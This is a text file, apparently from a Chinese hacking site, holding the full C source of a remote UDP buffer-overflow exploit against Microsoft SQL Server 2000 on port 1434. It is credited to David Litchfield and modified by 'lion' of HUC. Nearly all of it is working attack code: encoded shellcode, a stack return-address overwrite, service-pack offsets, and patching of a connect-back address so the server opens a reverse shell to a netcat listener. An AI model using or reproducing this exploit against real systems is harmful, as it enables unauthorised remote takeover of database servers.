sql攻击代码.txt

可以对黑客编程有一定的了解

/* 
MSSQL2000 Remote UDP Exploit! 

Modified from "Advanced Windows Shellcode" by David Litchfield, [e-mail] 

fix a bug. 

Modified by lion, [e-mail] 
Welcome to HUC Website http://www.cnhonker.com 

*/ 


#include <stdio.h> 
#include <winsock2.h> 

#pragma comment (lib,"Ws2_32") 

int GainControlOfSQL(void); 
int StartWinsock(void); 

struct sockaddr_in c_sa; 
struct sockaddr_in s_sa; 

struct hostent *he; 
SOCKET sock; 
unsigned long addr; 
int SQLUDPPort=1434; 
char host[256]=""; 
char request[4000]="\x04"; 
char ping[8]="\x02"; 

char exploit_code[]= 
"\x55\x8B\xEC\x68\x18\x10\xAE\x42\x68\x1C" 
"\x10\xAE\x42\xEB\x03\x5B\xEB\x05\xE8\xF8" 
"\xFF\xFF\xFF\xBE\xFF\xFF\xFF\xFF\x81\xF6" 
"\xAE\xFE\xFF\xFF\x03\xDE\x90\x90\x90\x90" 
"\x90\x33\xC9\xB1\x44\xB2\x58\x30\x13\x83" 
"\xEB\x01\xE2\xF9\x43\x53\x8B\x75\xFC\xFF" 
"\x16\x50\x33\xC0\xB0\x0C\x03\xD8\x53\xFF" 
"\x16\x50\x33\xC0\xB0\x10\x03\xD8\x53\x8B" 
"\x45\xF4\x50\x8B\x75\xF8\xFF\x16\x50\x33" 
"\xC0\xB0\x0C\x03\xD8\x53\x8B\x45\xF4\x50" 
"\xFF\x16\x50\x33\xC0\xB0\x08\x03\xD8\x53" 
"\x8B\x45\xF0\x50\xFF\x16\x50\x33\xC0\xB0" 
"\x10\x03\xD8\x53\x33\xC0\x33\xC9\x66\xB9" 
"\x04\x01\x50\xE2\xFD\x89\x45\xDC\x89\x45" 
"\xD8\xBF\x7F\x01\x01\x01\x89\x7D\xD4\x40" 
"\x40\x89\x45\xD0\x66\xB8\xFF\xFF\x66\x35" 
"\xFF\xCA\x66\x89\x45\xD2\x6A\x01\x6A\x02" 
"\x8B\x75\xEC\xFF\xD6\x89\x45\xEC\x6A\x10" 
"\x8D\x75\xD0\x56\x8B\x5D\xEC\x53\x8B\x45" 
"\xE8\xFF\xD0\x83\xC0\x44\x89\x85\x58\xFF" 
"\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45" 
"\x84\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98" 
"\x8D\xBD\x48\xFF\xFF\xFF\x57\x8D\xBD\x58" 
"\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83" 
"\xC0\x01\x50\x83\xE8\x01\x50\x50\x8B\x5D" 
"\xE0\x53\x50\x8B\x45\xE4\xFF\xD0\x33\xC0" 
"\x50\xC6\x04\x24\x61\xC6\x44\x24\x01\x64" 
"\x68\x54\x68\x72\x65\x68\x45\x78\x69\x74" 
"\x54\x8B\x45\xF0\x50\x8B\x45\xF8\xFF\x10" 
"\xFF\xD0\x90\x2F\x2B\x6A\x07\x6B\x6A\x76" 
"\x3C\x34\x34\x58\x58\x33\x3D\x2A\x36\x3D" 
"\x34\x6B\x6A\x76\x3C\x34\x34\x58\x58\x58" 
"\x58\x0F\x0B\x19\x0B\x37\x3B\x33\x3D\x2C" 
"\x19\x58\x58\x3B\x37\x36\x36\x3D\x3B\x2C" 
"\x58\x1B\x2A\x3D\x39\x2C\x3D\x08\x2A\x37" 
"\x3B\x3D\x2B\x2B\x19\x58\x58\x3B\x35\x3C" 
"\x58"; 


int main(int argc, char *argv[]) 
{ 
unsigned int ErrorLevel=0,len=0,c =0; 
int count = 0; 
char sc[300]=""; 
char ipaddress[40]=""; 
unsigned short port = 0; 
unsigned int ip = 0; 
char *ipt=""; 
char buffer[400]=""; 
unsigned short prt=0; 
char *prtt=""; 


if(argc != 2 && argc != 5) 
{ 
printf("===============================================================\r\n"); 
printf("SQL Server UDP Buffer Overflow Remote Exploit\r\n\n"); 
printf("Modified from \"Advanced Windows Shellcode\"\r\n"); 
printf("Code by David Litchfield, [e-mail]\r\n"); 
printf("Modified by lion, fix a bug.\r\n"); 
printf("Welcome to HUC Website http://www.cnhonker.com\r\n\n"); 
printf("Usage:\r\n"); 
printf("  %s Target [<NCHost> <NCPort> <SQLSP>]\r\n\n", argv[0]); 
printf("Exemple:\r\n"); 
printf("Target is MSSQL SP 0:\r\n"); 
printf("  C:\\>nc -l -p 53\r\n"); 
printf("  C:\\>%s db.target.com 202.202.202.202 53 0\r\n",argv[0]); 
printf("Target is MSSQL SP 1 or 2:\r\n"); 
printf("  c:\\>%s db.target.com 202.202.202.202\r\n\n", argv[0]); 
return 0; 
} 

strncpy(host, argv[1], 100); 

if(argc == 5) 
{ 
strncpy(ipaddress, argv[2], 36); 

port = atoi(argv[3]); 

// SQL Server 2000 Service pack level 
// The import entry for GetProcAddress in sqlsort.dll 
// is at 0x42ae1010 but on SP 1 and 2 is at 0x42ae101C 
// Need to set the last byte accordingly 

if(argv[4][0] == 0x30) 
{ 
printf("MSSQL SP 0. GetProcAddress @0x42ae1010\r\n"); 
exploit_code[9]=0x10; 
} 
else 
{ 
printf("MSSQL SP 1 or 2. GetProcAddress @0x42ae101C\r\n"); 
} 

} 

ErrorLevel = StartWinsock(); 
if(ErrorLevel==0) 
{ 
printf("Starting Winsock Error.\r\n"); 
return 0; 
} 

if(argc == 2) 
{ 
strcpy(request,ping); 

GainControlOfSQL(); 
return 0; 
} 


strcpy(buffer,exploit_code); 

// set this IP address to connect back to 
// this should be your address 
ip = inet_addr(ipaddress); 
ipt = (char*)&ip; 
buffer[142]=ipt[0]; 
buffer[143]=ipt[1]; 
buffer[144]=ipt[2]; 
buffer[145]=ipt[3]; 

// set the TCP port to connect on 
// netcat should be listening on this port 
// e.g. nc -l -p 80 

prt = htons(port); 
prt = prt ^ 0xFFFF; 
prtt = (char *) &prt; 
buffer[160]=prtt[0]; 
buffer[161]=prtt[1]; 

strcat(request,"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX"); 

// Overwrite the saved return address on the stack 
// This address contains a jmp esp instruction 
// and is in sqlsort.dll. 

strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC 

// Need to do a near jump 
strcat(request,"\xEB\x0E\x41\x42\x43\x44\x45\x46"); 

// Need to set an address which is writable or 
// sql server will crash before we can exploit 
// the overrun. Rather than choosing an address 
// on the stack which could be anywhere we'll 
// use an address in the .data segment of sqlsort.dll 
// as we're already using sqlsort for the saved 
// return address 

// SQL 2000 no service packs needs the address here 
strcat(request,"\x01\x70\xAE\x42"); 

// SQL 2000 Service Pack 2 needs the address here 
strcat(request,"\x01\x70\xAE\x42"); 

// just a few nops 
strcat(request,"\x90\x90\x90\x90\x90\x90\x90\x90"); 


// tack on exploit code to the end of our request and fire it off 
strcat(request,buffer); 

GainControlOfSQL(); 

return 0; 
} 


int StartWinsock() 
{ 
int err=0; 
WORD wVersionRequested; 
WSADATA wsaData; 

wVersionRequested = MAKEWORD(2,1); 
err = WSAStartup( wVersionRequested, &wsaData ); 
if (err != 0) 
{ 
printf("error WSAStartup 1.\r\n"); 
return 0; 
} 
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 1 ) 
{ 
printf("error WSAStartup 2.\r\n"); 
WSACleanup( ); 
return 0; 
} 

if (isalpha(host[0])) 
{ 
he = gethostbyname(host); 

if (he == NULL) 
{ 
printf("Can't get the ip of %s!\r\n", host); 
WSACleanup( ); 
exit(-1); 
} 

s_sa.sin_addr.s_addr=INADDR_ANY; 
s_sa.sin_family=AF_INET; 
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length); 
} 
else 
{ 
s_sa.sin_family=AF_INET; 
s_sa.sin_addr.s_addr = inet_addr(host); 
} 

return 1; 
} 



int GainControlOfSQL(void) 
{ 
char resp[600]=""; 
int snd=0,rcv=0,count=0, var=0; 
unsigned int ttlbytes=0; 
unsigned int to=2000; 
struct sockaddr_in    cli_addr; 
SOCKET      cli_sock; 


cli_sock=socket(AF_INET,SOCK_DGRAM,0); 
if (cli_sock==INVALID_SOCKET) 
{ 
return printf("sock erron\r\n"); 
} 

cli_addr.sin_family=AF_INET; 
cli_addr.sin_addr.s_addr=INADDR_ANY; 
cli_addr.sin_port=htons((unsigned short)53); 

setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int)); 
if(bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR) 
{ 
return printf("bind error"); 
} 

s_sa.sin_port=htons((unsigned short)SQLUDPPort); 

if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR) 
{ 
return printf("Connect error"); 
} 
else 
{ 
snd=send(cli_sock, request , strlen (request) , 0); 
printf("Packet sent!\r\n"); 
printf("If you don't have a shell it didn't work.\r\n"); 
rcv = recv(cli_sock,resp,596,0); 
if(rcv > 1) 
{ 
while(count < rcv) 
{ 
if(resp[count]==0x00) 
resp[count]=0x20; 
count++; 
} 
printf("%s",resp); 
} 
} 
closesocket(cli_sock); 

return 0; 
}